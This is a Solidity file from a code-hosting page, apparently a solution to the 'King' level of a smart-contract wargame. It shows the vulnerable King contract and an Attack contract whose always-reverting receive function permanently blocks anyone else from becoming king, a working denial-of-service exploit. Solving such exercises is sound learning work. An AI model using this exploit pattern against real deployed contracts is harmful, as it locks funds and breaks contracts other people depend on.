-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlevel9_king.sol
46 lines (35 loc) · 863 Bytes
/
level9_king.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// SPDX-License-Identifier: MIT
/****Og Contract****/
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
fallback() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
receive() external payable{
}
function _king() public view returns (address payable) {
return king;
}
}
/****attack Contract****/
contract Attack{
King instance;
constructor(address payable _instance) public payable{
instance = King(_instance);
address(instance).call{value:1 ether}("");
}
receive() external payable{
revert('nope');
}
}